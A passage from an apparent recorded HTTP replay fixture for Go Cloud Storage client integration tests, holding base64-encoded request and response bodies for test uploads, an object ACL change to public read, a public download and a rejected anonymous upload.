JzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6ImNoZWNrc3VtLW9iamVjdCIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODU1OTYyMjQxIiwiZW50aXR5IjoicHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJPV05FUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoiZWRpdG9ycyJ9LCJldGFnIjoiQ0lHaHJNSHgvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL2NoZWNrc3VtLW9iamVjdC8xNTU2ODM1ODU1OTYyMjQxL3Byb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9jaGVja3N1bS1vYmplY3QvYWNsL3Byb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJvYmplY3QiOiJjaGVja3N1bS1vYmplY3QiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg1NTk2MjI0MSIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDSUdock1IeC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvY2hlY2tzdW0tb2JqZWN0LzE1NTY4MzU4NTU5NjIyNDEvdXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL2NoZWNrc3VtLW9iamVjdC9hY2wvdXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6ImNoZWNrc3VtLW9iamVjdCIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODU1OTYyMjQxIiwiZW50aXR5IjoidXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsInJvbGUiOiJPV05FUiIsImVtYWlsIjoiYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJldGFnIjoiQ0lHaHJNSHgvZUVDRUFFPSJ9XSwib3duZXIiOnsiZW50aXR5IjoidXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSJ9LCJjcmMzMmMiOiJWc3UwZ0E9PSIsImV0YWciOiJDSUdock1IeC9lRUNFQUU9In0=" - } - }, - { - "ID": "69c77b8bdd7cc643", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/upload/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o?alt=json\u0026prettyPrint=false\u0026projection=full\u0026uploadType=multipart", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "multipart/related", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJuYW1lIjoiemVyby1vYmplY3QifQo=", - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3240" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:16 GMT" - ], - "Etag": [ - "CLirz8Hx/eECEAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_single_post_uploads" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Ur2iXVwACD0yFKYjt0WT-lW1Tx6PtpOgDYttPBWBnJZ3CPf4cUK7heI_9SwdzYXoieaRHDj9n3w3M_SExedwQqQ-GTOY9qM9DPmrPy11hEny0WjECc" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS96ZXJvLW9iamVjdC8xNTU2ODM1ODU2NTM3MDE2Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vemVyby1vYmplY3QiLCJuYW1lIjoiemVyby1vYmplY3QiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg1NjUzNzAxNiIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsImNvbnRlbnRUeXBlIjoidGV4dC9wbGFpbjsgY2hhcnNldD11dGYtOCIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDoxNi41MzZaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjQ6MTYuNTM2WiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI0OjE2LjUzNloiLCJzaXplIjoiMCIsIm1kNUhhc2giOiIxQjJNMlk4QXNnVHBnQW1ZN1BoQ2ZnPT0iLCJtZWRpYUxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9kb3dubG9hZC9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vemVyby1vYmplY3Q/Z2VuZXJhdGlvbj0xNTU2ODM1ODU2NTM3MDE2JmFsdD1tZWRpYSIsImFjbCI6W3sia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL3plcm8tb2JqZWN0LzE1NTY4MzU4NTY1MzcwMTYvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vemVyby1vYmplY3QvYWNsL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6Inplcm8tb2JqZWN0IiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4NTY1MzcwMTYiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ0xpcno4SHgvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL3plcm8tb2JqZWN0LzE1NTY4MzU4NTY1MzcwMTYvcHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL3plcm8tb2JqZWN0L2FjbC9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwib2JqZWN0IjoiemVyby1vYmplY3QiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg1NjUzNzAxNiIsImVudGl0eSI6InByb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6ImVkaXRvcnMifSwiZXRhZyI6IkNMaXJ6OEh4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS96ZXJvLW9iamVjdC8xNTU2ODM1ODU2NTM3MDE2L3Byb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby96ZXJvLW9iamVjdC9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6Inplcm8tb2JqZWN0IiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4NTY1MzcwMTYiLCJlbnRpdHkiOiJwcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6IlJFQURFUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoidmlld2VycyJ9LCJldGFnIjoiQ0xpcno4SHgvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL3plcm8tb2JqZWN0LzE1NTY4MzU4NTY1MzcwMTYvdXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL3plcm8tb2JqZWN0L2FjbC91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwib2JqZWN0IjoiemVyby1vYmplY3QiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg1NjUzNzAxNiIsImVudGl0eSI6InVzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJyb2xlIjoiT1dORVIiLCJlbWFpbCI6ImFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiZXRhZyI6IkNMaXJ6OEh4L2VFQ0VBRT0ifV0sIm93bmVyIjp7ImVudGl0eSI6InVzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20ifSwiY3JjMzJjIjoiQUFBQUFBPT0iLCJldGFnIjoiQ0xpcno4SHgvZUVDRUFFPSJ9" - } - }, - { - "ID": "1017883279ca634a", - "Request": { - "Method": "PUT", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o/obj1/acl/allUsers?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "98" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJlbnRpdHkiOiJhbGxVc2VycyIsInJvbGUiOiJSRUFERVIifQo=" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "417" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:17 GMT" - ], - "Etag": [ - "CLnS+bvx/eECEAQ=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UoKqYaaFUj6b4ezS4lnnQgYv4CHVSsqhVSlLP3QqpItNahh25KnLzbTccK_idrfjKV0gExzr17MvFmoRw7oUIWyJJINmpEXEw5EmHScxipsb3KbWZ8" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvb2JqMS8xNTU2ODM1ODQ0NjQ3MjI1L2FsbFVzZXJzIiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vb2JqMS9hY2wvYWxsVXNlcnMiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJvYmplY3QiOiJvYmoxIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4NDQ2NDcyMjUiLCJlbnRpdHkiOiJhbGxVc2VycyIsInJvbGUiOiJSRUFERVIiLCJldGFnIjoiQ0xuUytidngvZUVDRUFRPSJ9" - } - }, - { - "ID": "35f04bf2400be96f", - "Request": { - "Method": "GET", - "URL": "https://storage.googleapis.com/go-integration-test-20190502-80633403432013-0001/obj1", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "Go-http-client/1.1" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Accept-Ranges": [ - "bytes" - ], - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "public, max-age=60" - ], - "Content-Length": [ - "16" - ], - "Content-Type": [ - "application/octet-stream" - ], - "Date": [ - "Thu, 02 May 2019 22:24:17 GMT" - ], - "Etag": [ - "\"4a76bf516bfb99c648db7a04e6d51a6d\"" - ], - "Expires": [ - "Thu, 02 May 2019 22:25:17 GMT" - ], - "Last-Modified": [ - "Thu, 02 May 2019 22:24:04 GMT" - ], - "Server": [ - "UploadServer" - ], - "X-Goog-Expiration": [ - "Sat, 01 Jun 2019 22:24:04 GMT" - ], - "X-Goog-Generation": [ - "1556835844647225" - ], - "X-Goog-Hash": [ - "crc32c=CT6dTA==", - "md5=Sna/UWv7mcZI23oE5tUabQ==" - ], - "X-Goog-Metageneration": [ - "4" - ], - "X-Goog-Storage-Class": [ - "STANDARD" - ], - "X-Goog-Stored-Content-Encoding": [ - "identity" - ], - "X-Goog-Stored-Content-Length": [ - "16" - ], - "X-Guploader-Customer": [ - "cloud-storage" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UqC9teasrZdeHJo8KLaQQ251d02ORMxXreH3TKcaQp4NWLVbpiAw1GpW9WeSdFgbpWtVDdyzfjE93gAs6uA0kdlDPZsIEfJVK3GFfaZE2aW5aFCn8Y" - ] - }, - "Body": "TuDshcL7vdCAXh8L42NvEQ==" - } - }, - { - "ID": "d01040504d2a91c4", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/upload/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o?alt=json\u0026prettyPrint=false\u0026projection=full\u0026uploadType=multipart", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "multipart/related", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJuYW1lIjoib2JqMSJ9Cg==", - "aGVsbG8=" - ] - }, - "Response": { - "StatusCode": 401, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Content-Length": [ - "30343" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:17 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "Www-Authenticate": [ - "Bearer realm=\"https://accounts.google.com/\"" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_single_post_uploads" - ], - "X-Guploader-Request-Result": [ - "agent_rejected" - ], - "X-Guploader-Upload-Result": [ - "agent_rejected" - ], - "X-Guploader-Uploadid": [ - "AEnB2UqRhLZOcm0K7eNByUzCBgYfgiytuZ6Hj06jPkbkK77LS80OPgO_78AL530-2AcrlLe1fIy0jM0tonLLncLuOszrqKcGgVhqEJuE48-67vqBRACjqmY" - ] - }, - "Body": "eyJlcnJvciI6eyJlcnJvcnMiOlt7ImRvbWFpbiI6Imdsb2JhbCIsInJlYXNvbiI6InJlcXVpcmVkIiwibWVzc2FnZSI6IkFub255bW91cyBjYWxsZXIgZG9lcyBub3QgaGF2ZSBzdG9yYWdlLm9iamVjdHMuY3JlYXRlIGFjY2VzcyB0byBnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvb2JqMS4iLCJsb2NhdGlvblR5cGUiOiJoZWFkZXIiLCJsb2NhdGlvbiI6IkF1dGhvcml6YXRpb24iLCJkZWJ1Z0luZm8iOiJjb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6QUNDRVNTX0RFTklFRDogQW5vbnltb3VzIGNhbGxlciBkb2VzIG5vdCBoYXZlIHN0b3JhZ2Uub2JqZWN0cy5jcmVhdGUgYWNjZXNzIHRvIGdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vYmoxLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50b1JwYzNFeGNlcHRpb24oQmlnc3RvcmVFeGNlcHRpb24uamF2YToxNDcpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMub2JqZWN0cy5JbnNlcnRPYmplY3QuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKEluc2VydE9iamVjdC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5vYmplY3RzLkluc2VydE9iamVjdC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoSW5zZXJ0T2JqZWN0LmphdmE6NDQpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChSZXF1ZXN0SGFuZGxlci5qYXZhOjMxMClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlKFJlcXVlc3RIYW5kbGVyLmphdmE6MjU2KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLk9iamVjdHNEZWxlZ2F0b3IuaW5zZXJ0KE9iamVjdHNEZWxlZ2F0b3IuamF2YTo5NSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uUnBjUmVjZWl2ZXIubGFtYmRhJHByb2Nlc3NSZXF1ZXN0QXN5bmMkNChScGNSZWNlaXZlci5qYXZhOjIwMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uQXN5bmNFeGVjdXRvci5sYW1iZGEkc3VibWl0JDAoQXN5bmNFeGVjdXRvci5qYXZhOjI1Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KENvbnRleHRSdW5uYWJsZS5qYXZhOjUwKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZSQxLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozOSlcblx0YXQgaW8uZ3JwYy5Db250ZXh0LnJ1bihDb250ZXh0LmphdmE6NTY1KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuQ3VycmVudENvbnRleHQucnVuSW5Db250ZXh0KEN1cnJlbnRDb250ZXh0LmphdmE6MjA0KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHROb1VucmVmKEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo3Milcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo2NClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM1KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IucnVuV29ya2VyKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjExNDkpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvciRXb3JrZXIucnVuKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjYyNClcblx0YXQgamF2YS5sYW5nLlRocmVhZC5ydW4oVGhyZWFkLmphdmE6NzQ4KVxuQ2F1c2VkIGJ5OiBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbjogQW5vbnltb3VzIGNhbGxlciBkb2VzIG5vdCBoYXZlIHN0b3JhZ2Uub2JqZWN0cy5jcmVhdGUgYWNjZXNzIHRvIGdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vYmoxLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG5cbmNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLkZhdWx0OiBJbW11dGFibGVFcnJvckRlZmluaXRpb257YmFzZT1MT0dJTl9SRVFVSVJFRCwgY2F0ZWdvcnk9VVNFUl9FUlJPUiwgY2F1c2U9Y29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUuRmF1bHQ6IEltbXV0YWJsZUVycm9yRGVmaW5pdGlvbntiYXNlPUxPR0lOX1JFUVVJUkVELCBjYXRlZ29yeT1VU0VSX0VSUk9SLCBjYXVzZT1udWxsLCBkZWJ1Z0luZm89Y29tLmdvb2dsZS5uZXQucnBjMy5ScGNFeGNlcHRpb246IGNsb3VkLmJpZ3N0b3JlLlJlc3BvbnNlQ29kZS5FcnJvckNvZGU6OkFDQ0VTU19ERU5JRUQ6IEFub255bW91cyBjYWxsZXIgZG9lcyBub3QgaGF2ZSBzdG9yYWdlLm9iamVjdHMuY3JlYXRlIGFjY2VzcyB0byBnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvb2JqMS5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLm9iamVjdHMuSW5zZXJ0T2JqZWN0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChJbnNlcnRPYmplY3QuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMub2JqZWN0cy5JbnNlcnRPYmplY3QuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKEluc2VydE9iamVjdC5qYXZhOjQ0KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2